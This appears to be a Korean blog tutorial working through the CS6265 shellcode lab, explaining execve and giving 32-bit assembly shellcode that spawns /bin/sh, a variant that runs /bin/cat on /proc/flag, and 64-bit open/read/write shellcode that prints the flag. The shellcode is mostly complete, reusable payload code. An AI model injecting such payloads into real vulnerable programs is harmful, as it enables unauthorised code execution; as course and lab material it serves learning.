Shellcode 튜토리얼

위 링크의 CS6265 튜토리얼에서는 우선 execve를 사용해서 현재 실행중인 프로세스를 바꿔서 정해진 flag를 출력하도록 합니다.

execve란

int execve(const char *filename, char *const argv[], char *const envp[]);

이 함수는 현재 실행중인 프로세스의 실행코드를 실행가능한 파일인 filename로 바꿉니다. filename 프로그램의 코드를 메모리에 새로 load함으로써, 현재 실행 중인 프로세스의 기능이 filename의 것으로 완전히 바뀝니다. 그래서 기존 프로세스는 그대로 두면서 새로운 프로세스를 만드는 fork()와는 구별됩니다.

위의 argv는 argument vector, envp는 environment입니다. argument가 배열 형태로 따라오고, 또 환경변수로도 따라옵니다.

shellcode에서 execve

32비트 코드

우선 32비트 버전입니다. 아래에 코드 1과 코드 2가 있는데, 코드 1을 수정해서 flag를 출력할 수 있도록 (코드 2로) 바꾸어야 합니다. 그 과정을 보면, 우선 #define STRING을 통해서 문자열을 하나 만듭니다. 그 문자열은 맨 아래의 .string STRING에 있습니다. 이게 특이한 부분인데 보통 실행코드가 위치해야 하는 어셈블리의 부분에 문자열이 있습니다.
STRING을 코드 2와 같이 고치면 어떻게 될까요? 다른 부분도 고쳐야 하기는 하지만, 결론을 말하면 /bin/sh를 실행하던 코드가 /bin/cat을 실행하고, 그 /bin/cat의 argument로 /proc/flag를 넘겨줘서 flag가 출력됩니다.

  • 코드 1의 개요도
      +-------------+
      v             |
      [/bin/cat][0][ptr ][NULL]
                  ^     ^     
                  |     +-- envp
                  +-- argv
    
    
  • 코드 2의 개요도
      +----------------------------+
      |             +--------------=-----+
      v             v              |     |
      [/bin/cat][0][/proc/flag][0][ptr1][ptr2][NULL]
                                  ^           ^
                                  |           +-- envp
                                  +-- argv
    
    
  • 코드 1
      #include <sys/syscall.h>
    
      #define STRING  "/bin/sh"
      #define STRLEN  7
      #define ARGV    (STRLEN+1)
      #define ENVP    (ARGV+4)
    
      .intel_syntax noprefix
      .text
    
      .globl main
      .type  main, @function
    
      main:
      jmp     calladdr
    
      popladdr:
      pop    esi                    /* esi points to STRING */
      mov    [ARGV+esi],esi         /* set up argv[0] pointer to pathname */
      xor    eax,eax                /* get a 32-bit zero value */
      mov    [STRLEN + esi],al      /* null-terminate our string */
      mov    [ENVP + esi], eax      /* set up null envp */
    
      mov    al,SYS_execve          /* syscall number */
      mov    ebx,esi                /* arg 1: string pathname */
      lea    ecx,[ARGV + esi]       /* arg 2: argv */
      lea    edx,[ENVP + esi]       /* arg 3: envp */
      int    0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */
    
      xor    ebx,ebx                /* arg 1: 0 */
      mov    eax,ebx
      inc    eax                    /* exit(0) */
      /* mov+inc to avoid null byte */
      int    0x80                   /* invoke syscall */
    
      calladdr:
      call    popladdr
      .string STRING
    
    
  • 코드 2
      #include <sys/syscall.h>
    
      #define STRING  "/bin/catN/proc/flag"
      #define STRLEN1 8
      #define STRLEN2 19
      #define ARGV    (STRLEN2+1)
      #define ENVP    (ARGV+8)
    
      .intel_syntax noprefix
      .text
            
      .globl main
      .type  main, @function
    
      main:
      jmp     calladdr
    
      popladdr:
      pop    esi                    /* esi points to STRING */
      mov    edi, esi
      add    edi, STRLEN1+1
    
      mov    [ARGV+esi],esi         /* set up argv[0] pointer to pathname */
      mov    [ARGV+4+esi], edi
    
      xor    eax,eax                /* get a 32-bit zero value */
      mov    [STRLEN1 + esi],al      /* null-terminate our string */
      mov    [STRLEN2 + esi],al      /* null-terminate our string */
      mov    [ENVP + esi], eax      /* set up null envp */
        
      mov    al,SYS_execve          /* syscall number */
      mov    ebx,esi                /* arg 1: string pathname */
      lea    ecx,[ARGV + esi]       /* arg 2: argv */
      lea    edx,[ENVP + esi]       /* arg 3: envp */
      int    0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */
        
      xor    ebx,ebx                /* arg 1: 0 */
      mov    eax,ebx
      inc    eax                    /* exit(0) */
      /* mov+inc to avoid null byte */
      int    0x80                   /* invoke syscall */
    
      calladdr:
      call    popladdr
      .string STRING
    
    

64비트 코드

64비트 코드도 원리는 같습니다. 다만 레지스터들이 rdi, rsi, rdx, … 하는 식으로 바뀌고, 주소값이 64비트로 바뀌고, int 80 대신 syscall을 이용하는 등의 차이가 있습니다. (int 80은 먹히기는 하는데 syscall이 더 빨라서, 64비트 머신에서는 syscall이 권장된다고 합니다.) 아래 코드에 해당하는 문제는 위의 코드와는 살짝 다른데, 이번에는 /bin/cat을 통해서 출력하는 게 아니라 /proc/flag를 직접 open, read, write 하는 문제입니다. 여기서 buf는 메모리의 어떤 곳으로 해당 flag를 read할 때 필요합니다. $rsp-0x500으로 임의로 정했는데 잘 작동합니다.

#include <sys/syscall.h>

#define STRING  "/proc/flag"

.intel_syntax noprefix
.text

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  pop    r8                    /* r10 points to STRING */

  xor    rax,rax                /* get a 64-bit zero value */
  xor    rdi,rdi                /* get a 64-bit zero value */
  xor    rsi,rsi                /* get a 64-bit zero value */
  xor    rdx,rdx                /* get a 64-bit zero value */

  push   r8

  mov    rax,0x2               /* syscall number of open */
  mov    rsi,0x0                /* arg 2: flag */
  mov    rdi,r8                 /* arg 1: string filename */
  xor    rdx,rdx                /* arg 3: int flags */
  syscall                       /* openat(0, "/proc/flag", 0) */

  mov    rdi,rax                /* arg 1: fd */
  mov    rsi,rsp                /* arg 2: buf */
  sub    rsi, 0x500
  mov    rax,0x0                /* syscall number of read */
  mov    rdx,0x418              /* arg 3: count */
  syscall

  mov    rax,0x1                 /* syscall number of write */
  mov    rdi,0x1                 /* arg 1: stdout */
  mov    rsi,rsi                 /* arg 2: buf */
  mov    rdx,0x418               /* arg 3: length of string to read */
  syscall

  xor    rdi,rdi               /* arg 1: 0 */
  mov    rax,rdi
  mov    rax,0x3c                    /* exit(0) */
  /* mov+inc to avoid null byte */
  syscall                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING

유용한 명령어들

  • strace, ltrace : system call 내역을 나열합니다.